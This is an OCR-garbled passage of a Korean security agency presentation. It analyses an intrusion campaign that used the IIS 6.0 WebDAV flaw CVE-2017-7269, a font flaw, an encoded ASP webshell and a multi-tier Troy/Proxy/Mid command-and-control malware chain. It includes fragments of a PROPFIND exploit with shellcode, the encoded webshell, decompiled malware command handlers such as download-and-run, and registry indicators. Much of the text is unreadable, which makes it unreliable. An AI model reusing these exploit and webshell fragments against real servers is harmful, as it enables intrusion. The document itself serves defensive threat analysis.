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CVE-2017-7269

IIS remote code execution
vulnerability. The
ScStoragePathFromUrl function
has a buffer overflow
vulnerability in the 1IS 6.0
WebDAV service on Windows
Server 2003. The vulnerability
allows an attacker to run
arbitrary code by constructing a
PROPFIND request with a long
header. So hackers can exploit

the vulnerability by running code

remotely.

CVE-2016-7256

An attacker could exploit this
Open Type Font vulnerability to
execute arbitrary code on the
system with privileges of the
victim. ATMFD.dIl in the Windows
font library in Microsoft Windows
OS allows remote attackers to
execute arbitrary code via a
crafted web site.

Webshell

A webshell is a script written in
the supported language of a
target web server to be
uploaded to enable remote
access and administration of
the machine. The shell gives
the creator the ability to crate,
edit, download any file of
choice, top of the list for
infiltrators is using a web shell
to gain root access to server.

HXY SZAXES O|H ZZ40| HHEC R 0|88 MHO| EESH7| QI8 FUH
CVE-2017-72699| IS 6.0 Remote code execution F| 2™ 1} CVE-2016-72562]
AS L Lt

A H




01. MH| =4

CVE-2017-7269

import socket

sock = socket 2 gL Af INET, socket.SOCK_STREAM)
sock.connect({’ % !

' (Not <locktoken:writel>) <http://localhost/bbbbbbb’
pay+="\xe7\xa5\x88\xe6\x85\xb5\xed\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xed\xa1\x85\xe3\x99\x86\xeb\

Ehellcode="VVYA4444444444QATAXAZAPA3QADAZABARALAYATAQAIAQAPASAAAPAZIATIATAIATI1AIAIAXASSAAPAZAB

IUE EIE A4Q I S8RE
#Software: Microsoft HTTP API 1.0

MHX CVE-2017-7269 F U™ 2 LISt 22 ST dAE2Q AL
Windows 2003A1H{, 1IS 6.0t WebDAV 7|s0| 2/d3} Z|0{US™ O] AAEZQAS

o = %6+04 PROPFIND HIAEE E3|| &
Aoz HIACE e = JFLCHL £2[= O[22t EXZ httperrl.log LIHLOAM LHASIHUSLICE MFTE S5l 2telst oy
ol mt x|z M *“M A ZHO|| httperror 274 SHR| D& 0p 20| 7|EE|01 MMELIEr 23 oo e

Conncetion Abandoned _By_AppPool M[2{27} U=, XK HIAEE S3H service pac S
oIsf 542 &S 8% Wdkl= AS HSIYSLCHL 2X MHOUME Ot 22 205 HHRMY, 2tH A3 ZotE

Ol-kl—_—l :5 A—|I:|-|01|A-| -’,S7f§ XHX'éTMn:. L|CF.
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CVE-2017-7269

qrencpy(&unk_408D7C, “PROPFIND / HTTP/1.1¥r¥nHost: localhost¥r¥nContent-Length: Or¥n", 0x3%u);
qmencpy(&unk_4#08DBS5, “If: <http://localhost/aaaaaaa™, @x1Du);
qrencpy(
&unk_4080D2,
1), MxE7Wx9D— 2= TE o WxESWx99 f U AR T WxESHRB 1y S WXE6MX9D ( = =] i 3 7 HWxE mxan- 8!lx[:mxol)v-r *’Ier'mx%"
'?.‘szsnxsn:.f?nxzmxon“ gv“’* nx[ﬁnxsqﬁguxzsuxssv WREMIX9DS —"\m[:mxw | *Fp B s A =
“HXEGHXIIMXAFYXE 7SI WxENx91L 2 TES= S 5 val:wﬂx(?ﬂxQD
"3 EMXE7Wx98F "HXESHXS?D‘I —
'3!1)((6!9)(9
" ¢locktoken: m'xlel)) <http: /llur.alnosl/bbbhbbb"
0x1A8u) ;
NumberOfBytesRead = 0;
qrencpy(&unk_%08F7A, "> (Not <locktoken:write1>) <http://localhost/bbbbbbb*, 0x3%u);
dword_408D78 = 2181;
qrencpy(
tunk_4O8FAE,
'arEWXSh 3onE5Hx89*J *‘Hx[(mxo‘)

&S

H 1“ 'Hxﬂﬂ!xsmxfﬂ’x?l)vi wf"‘ *'HXFWX‘H‘
£ ‘=uuvnmmm|nmmmmmlmnmmln;\nonunzaannnmva[numaunmnnnazmmmummmammam1mumm|111n"
"mJQVn?BRBanBanMﬁGBOu JBO1UxriKPKPipcOU98eHaz2C4tKODNPRKQBLLDKR2HDrKCB082076Hz06N0Kk0pTupul nlpaSLYraLKpWQXOLMM197 xb"
*ZPb2pWaKB22zp TKOBM1n1 j 0dKa0T8aulpQdNj9qhPr BbKPH j xBKOhKp9qxSHCMIP IdKpATKZawfLqkOP1Ep6LY1802Znjabgl xgpdSXtiscHIXOKSHKkt 1e™
“yYRbSTKPXMTH19CQURKLLPKRK OXHLYyqyCAKZdRkn1Z20qyasMTLdok1KPa111JoaYoyPnx10nzDKzrzKTFonBhOnPeRTypaXcGC92NBI3YXFqDIBOLBULF"
**zgk0yEMa900g0gqGpWaF Bh1zb61iCuK0GehkopQKLqQuioaPQQZKSngngp j OPr3b00x 0We 9EOUFKOFUJKPODIP122B2RHIpnRS 0e 4QBR2QBOQB22 BrHhk™
“0eLnMkI025SYWURJ1PokaXsPNS9p9ptigp0z10np0zkoQFS8aeoUSNcUYoJSNOQKOogB7qGpWpUcBnHnbLXcKIo jSSUT OBUNFNKLOrdQukPyp IpxkZ1yy"
“EYIpKPipXhULKOKOyoNDqYrNaSLoqRbBpSNO3FC9alt 7NONNS 1+SDOnBJKrNP1epoopPPhS BMBip9p 0§ 9r BPQZn2BJ jbb7 1X82KFG jNoyoJSeCLQGPS6™
“gH9tH3nIetOTDMPLOAhLGIOtLisbOng262HIREFaygrk0IESUI OptlndX3UUpLLKFQZMONEBOSMIANDLL20pSphlnB7 TnQKYOhUTCZLYEXKHN231X6F"
“uFtGnrioGep jkPQG1XP1TKpoe7yoUuqZnRH jPx572Nu90ouvuIXbrK0YoYopCnZLoBwc9RNOtPoqgbS1o44cSBMppLO2MYcpnS3 B0 BnTUNNSS52Xs51pZH™
“XmInKOyosGd7pwnNqQpqTS531nanapialnaSporMIpAR*,
8x220u) ;
qrencpy(
&tunk_4891CE,
“UUYATATATATATAIATATATAIATATATAL AJXAQADAZABARALAYATAQATAQATANARAZIATATAJTIATIAIABABABOI1AIQIAIQI111ATAJOYAZBABABABABKHAGBIuLJIBI 1 WxriKPKPipc OU98eHaz2C4tKODNPRKOBLLDKR2HDOrkCBOS

B 0] F4HS 018 AHYTC S NTBH0] 21X HE ALGSHYELICE
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CVE-2016-7256

Offset (h)

00000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000080

0000ODEO 41

00000DCO 41
00000DDO 41
OO00ODED 61
0000ODFO 1E
OO00O0EOO 83
OO000E1D oc
OO000EZ0 03

SAXEL HIASE Q8 CVE-2016-72560|2H= EECHE FAH™ S AL
HOo|H M L= 2016 HEH X[EHHMOE AMRE[D JUSLICH RE|=

2 SQISIASGLICH MU 2 QE EtQ ZE ZCHO|H temp Z 20 HETH

0| 50| HE MOAM ZE 0|5 ZO0|E MCUHE XMIASHK| Xl EHlEl= F <
e HUHoZ A2 MEY = USL|CE O] FUYH Ctxo 2= AR E|7
S&Z2 oo LM UX| P A TA| =T oY S HASHK| = ZEHSLIC

AMAAAAAAAAAAaaaa
aaaaaaaaaaa....;
BBl oeleeBeouB..
F..%..fcu0u| .E-.

LI.. .0,

FUH 2 E[Z= KISAZL Aok F ok

ol 3Z40|= O] FAUFO| AHE &
E[O{ AR ESLICE O] IpY 2 Ch=1t
HASO T2 M A2 HotZ HOH
& CHE A dZEQt 20| 883ty
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Webshell

DYF) BHIE) AMAO) V) T8TH)

%@Language=YBScript .Encode CODEPAGE="65001"%> <%#@~"9SABAA==d0D-00c/mMkaOYb:n¥!Yx0Z!@&" n/aWxkn 2XwbDn/xRB0&]+k2W
@&mKh :KxmG(L+"0{?2Yb0vJj 10bwYbxT sb¥n?H/OnsrdNnmDanU” . kaYc?4+ss[0jmMrwDRj 40YY q[?4+"scb2a¥bm | DkKUaUtn¥"R)2aYk1CYH
(t J+RoHdCPKK : 4y 4WkORsW[;"+/:j 1DrwDr o Gk1YkKxm.X[b[W94 /Kxx0"YbWx[)9roR;101sGTaBl} 90Y3UTkxn:zNGN( "+“KD9?+Da
[9t Ik*RURYaHCk"a/9}1KU 10hHursal:Dwtl rsc?hYattIby qr~J:E+@8&/¥ dOPn m|3+H r+!9n"+ZJ@&JDDA ! WOOD' rE@&/~blU2ny+m;
BWXVFX10JJ08d$273{++ | Zuz 1 2ZKA | Ux /DDixbmG[D b dkv/Azj3{+c|Zub]);K3|Ub@&aDrUD" J@'4D:s@+@! 401 [@+@!kYX"+@+C

1WsWM)~:Z! 1 ZW0pY+XORNOmKOCYrG  )UW ni )l 14K+, TWsWMI, alZ!pY+XY [+1W. |DkGU=jx9nD"kx0INPaYD! ~Y [ GHLY A+bod0=4Y4

r.scripttimeout
nse.buffer-t
.expires
ession.timeout

"admin”™
yn-"want pre.asp’
kw-"redhat”

“redhat’

"redhat hacker”

“"redhat.html™

br )g\ gbc, ydo yka,wzd, sod,vmd
sod - "<D7SOvHf3KWUaIA" : . />2s98QY2ic ;I.n‘h.,m; ~. ) [ur 21TMPo RuJZSXwyb6ntC\rhgdE~!@#%],
vid - “g<zimS51r2NO1L ,r"‘,' YWES &* vhBxaldMu9} |, IAXHBZ#$ )GPF€ ] 30F " R )H onVTtwp~!@ »2"
yka=" qq$qwﬁjh—~9\dK,efr5wt‘ ~ sBlr‘/ CVK/ (Sfur$ L- V\S 56ur$;l $r‘dde6.N> $d0M59\dK e-fr f(f]iwep hus

|01 Oy, VBScript EncodeZ ©!
*@EOH B HEo gYER
PEE FA™2 0|8 HE &
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Steal

Check1 ID ZAF AH 1

Check?2 ID AAF MH 2

Units

7| of

Troy |

TroyOj|

Troy |

Troy |

ZF

a

ZF

= |

ZFA

[ o |

ZFXA

[ o |

Functionality

FE 717|125 H oY 3

FE 717|125 H HdF 77| B2 +%

 7|7] 1D EAL

£l 7|17| 1D BAL

2t
_|—
=}

o 4
A= T
S LT ME{LE pCO| 2 X |0
2L MHYLICL O] Box AH 0= 7.:.*0.:.47|7|
71719 SRt ME k= MH LI Check 1
fRE' LIC} OFX|2f2 2 Proxy£ Troy2td A E 9|

ol 2=z FE|sten, 42

AASHOf 04747(1|01E ANESH=E &
Troy 2/ LICt. BoxE Troy 23 E7} T
| HZE0] ASL L. :LE|_._ Steal A= T

MAC2HE MAME ZH7|7] IDZS

of
o}
= Troy
HASH=

o
==
r
.
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[ID].tmp <= HA *
[ID]1.tmp => HA A I

A2 1D A Al

2 ZELICH Troyo| Z Al StealMHE 7|7|HEE |
|Z= Check 1,2 MHQ} S4I2 3“’1 IDZL0| Q1A RUCH= E|E._
IL|CE M E DS 0] 85t0f 3E M2 [ID].tmp, B E

o o
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v9 = send |l|||[ﬂ];
if ( twsend _cnd || tstremp(&recy buf
break;
vi8 = num_1 << 10;
switch ( v9 )
{
case 1:
if ( sub_17AAB(&CHC_ 1P ‘ecv_buf) )// file upload
break;
u20 = word_1AE700;
goto LABEL_53;
case 2:
if ( sub_17720(&CnC 1P ‘ecv _buf) )// file download
break;
u20 = word_1AE700;
goto LABEL_53;
case 3:
if ( sub_17DD8(&CnC_IP, &recu _buf) )// zip file download
break;
u20 = word_1AE700;
goto LABEL_53;
case 4:
sub_18310(&CnC_IP, &recu_buf);// delete file
break;
case 5:
case 6:
case 10:
goto LABEL_21;
case 7:
sub_16000(&CnC_1P, &ecv_buf);// Directory Scan
break;
case 8:
sub_1701C(&CnC_IP, &recv buf);// Run Cmd
break;
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mid.log

4X} Ol AX
ID‘XTE

[Time][IP)[ID]

4 7y
build.xnl

=X 05 B0

AT | I

®
proxy.log

~
- - PR
= /_> *

.
- " K
r— _ .
- pxylist.txt P Mid
mid.txt ey "
MDE FZEAIS e

[AIZHPYID]

proxy.log
BEFE2JIZENE

[AIZHIPIID]

] ~ [IDLtmp <

[ID]1.tmp =>

File upload
mid.txt 2H0|E

|
v

O] SET L ZAXII AXNZE FA
I EX™ DS 7K D /IO{OF 20| 7ts

C&CMH ol=z}
o= A

=]




= OI-q C 2AM 719 - mid.log

T AF O AX
HE T

[Time][IP](ID]

¢

mid. txt mid. txt

CERE CERE ————l————J—————'

build.xnl build.xnl

=X 0% B! : I

®
proxy.log - ___\_> 4—.
-

HE
-’ I & i}

” -
A/ Mld

mid.txt Proxy D M %
MDE QGE A= mid.log
[AIZHOPYID]

roxy.|
SEESIIZNY

[AIZHPIID]

] ~ [DLtmp <
[ID]1.tmp =>

ZZ X2l Proxyet HAEE[0 RAKNOE =S L|Ct 717|492 4= D42 0|80
ProxyOl| Al M&StLIC} Proxy= TroyZt & FAOA 2717171 BEUCHE AL




2F17I BESFE - mid.log
pxylist txt =74 o1 A HE AT
o5 =l [Time][IP)[ID]

TEE

/) 4

id.txt id.
bmld xnl ild. V\

mid.txt Proxy D X%
MDE GZE A mid.log
[AIZHIPYID]

roxy.l
SEEAJIZNE

[AIZHPIID]

"é-’r‘-

[ID].tmp <
File upload

[ID]1.tmp => :
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build.xnl
28717l HE
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mid.log
HE R 4T

[Time][IP)[ID]

mid. txt mid. txt

ZHoE ZHOoE

build.xnl build.xnl
=X % =0l =X GE 2ol

proxy.log proxy.log
NE +=3

pxylist.txt

mid.txt Proxy D M%
MDE QGE A= mid.log
[AIZHPYID]

proxy.log
BEEERIENT

[AIZHPIID]

[ID].tmp <
[ID]1.tmp =>

build.xnl
ZE717ID HF

nager?t AX|El &
™ Proxy0l B
HO| 7t 54
HZ Proxy2FH It




handleTroy()

Others

-Mid A H{off A
- Troy2| [ID]Z}

-Troy25EH &

-Troy0l Z3E 77| BE 25

Z = C&C(Proxy) BE EL17|
£ build.xnl £Z

-TroyOi Al BT HYUQI (IDL.tmp THY HUF D AX|
=

Z =S Yo} ID]1.tmpol 27 = Proxy0fl ELj T AHK)

Function

handleProxy()

>

?

- ProxyA{H{2] OSHE S Z2{5t1! mid.txt UHI0|E
- build.xnl 2AU=X| A

-Proxy2] 2 H< 279! proxy.log I HO|E =3

handleMid()

-MidA{H{2] OSTE =3
-Mid A E{0f] pxylist.txtIt 20| Q=X ZHA}

- ProxyA{H] ID 2| AEZ} EZ1E MidAH{ 2] pxylist.txt 5
- ProxyAlH] H& 2| AE7F 2 Z1E MidAH 2] mid.log =
- Proxy® mid.txt ZHI0|E HE HZ (Proxy's Cmd : >)

- Proxy® proxy.log HZ (Proxy's Cmd : ?)

-Mid0j] =2 1

I+ mid.Jogl, [ID]= pxylist.txtof] X%

handleManager()
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- Proxy®fl i}
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switch ( recu cmd )
{

case '3':
SSL_Write_sub_43E6EF(u15);
continue;

case "'4':
WriteFile_CreateProcessW_sub_43F1E4(uv15, &recu_argu);// Download & Run
continue;

case '5':
ReadFile_sub_43F090(uv15); /7 1g128.prx Read & Delete
MUII;-J..IIUC-

case '6':
if ( tWinHttpConnect_sub_A43F89C(&recu _arqu, &u28, &u27, &u29)

|| *WinHttpWriteData WinHttpReadData_sub_ 43ES546(v29, "8U7y3Ju387mUpi49a™) )
{
goto LABEL_26;

>
Http_Write_Read_sub_43F581(v15, v29);// Send Cmd To Troy (Webshell)
Set_Cmd_sub_43F752(v29, vi5);
WinHttpCloseHandle_sub_A43FC25(&u28, &u27, &u29);
break;

case '=':
sub_43EAD2(&u15, &recu _arqu); // WriteFile (Webshell)
break;

case '>':
sub_43FOCC(v15, &recu _arqu); // MidFile Update (Webshell)
break;

case '?7':
sub_A43EAFF(v15, &recu_arqu); // Get build.xnl data (Webshell)
break;

default:
continue;
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2l olet *% StZ| 19 ™o FALSH | 91"'—“1 O YA S5 EH 0| 340t &

AHSHA O|F ORI A ﬁ'—lEf OltH_'fol Xfol AX|El Troy YHIET} O SF0|= LsassEh=

0|20 Z AEE| AQEﬂ St QUAELICEH EDE Manager?| Sgt2 1M

':U\loﬂf LHSHA| X5 Of R SAETL SZAXERE Proxy ARO[O -|-|X|°P01 HH
._‘|':H = Ao =2 —’F—’S‘% St

-1 o1

L|C}. O|=F Unknown &I E L= O|H B4 "2
= C&C MH QI Proxy0f &S 8*[EH EIII*EEI%




C&C XM%& g X|2EL|

HKLM\SOFTWARE\MicrosoftiIMEMethod

C&C - Key: config,addr

- Value: ¢33} ElcaC 22

HKLM\SYSTEM\CurrentControlSet\Services\Application\Eventlog\Conf
C&C - Key: [%"giE n}ol ':g]

- Value: ¥¢S3lElcac =&

HKLM\SOFTWARE\MicrosoftiWindows\CurrentVersion\[???]Configs

C&C - Key: Description

- Value: ¥S3}lEl caCc 2E

FEE0| proxyo B l. Z7]0l= IMEMethod 225 &
Eventlog®| Conf Z2& Of Configs ¢t2 0 &x=gL|Ct.




[?7??]Configs

2=
==

iMachineConfigs

2017-04-20

10:58:00 Thu

>

Description

PrintConfigs
TaskConfigs
TaskConfigs
TowConfigs
NetMonSvcConfigs
WebConfigs
WifiConfig
WifiConfig
AdaptConfigs

| At&El C&C(Proxyll) a7t MEE X AEE| /LT

2017-04-20
2017-06-14
2017-07-31
2017-09-26
2018-01-30
2018-01-31
2018-03-12
2018-03-18
2018-04-21

12:04:01 Thu
11:14:25 Wed
17:23:46 Mon
11:15:09 Tue
04:46:18 Tue
11:43:19 Wed
11:22:52 Mon
16:56:43 Sun
23:36:12 Sat

Jig\lig
-

BA
2t
BA
2k
BA
2t
A
2k
BA
2k
A
2k
BA
2k
A
2t
BA

Description
Description
Description
Description
Description
Description
Description
Description
Description

29



I 22

Troy/ Lsass

PE file
Mid :E \| addr 2{X] 2

=)
- =
N
\\

Proxy/Proxy

x, log, build.xnl)

ASP Script
mld txt .

Mid/ Mid

TN

4]

O W
o W

wsto] Fe[sf E 5L Ct o]
AO|ME= ASP ATEIET FE
o, otdof| MEStALE StER
0] 7 2 Xto|™ L Ct




Ol Z40f CHS3t0] KISA= O|EA CHE3t S LICH




o
ST

2l

02.71g2 At =X| 70| = 2}

L

ot

X =K

H
1o
p [
-
aa
N
<
e
K
aa
O
=}
o
ar
31
of
o
2
<
o

ez N=:
H

At
IS &L L} ISPt

AHEHSHYY O]

He| c&C IPE

H=& &L .
5

7

= I
X X IH
)
& Ul Uk
OmH
= Oh |
IH Ul D —
OF O m qu
Ul & < 3K ) o
M ok un < o
R0%0 ) o IF X0 [
%Biﬂ%%m
ROX0% 58
glXraordo <o ml

= 71719

=R}
S AL O QBT

=

|Ct
ZEZN20 A= X=X A
s H2

= a & <




32



THANK YOU

hypen@kisa.or.kr




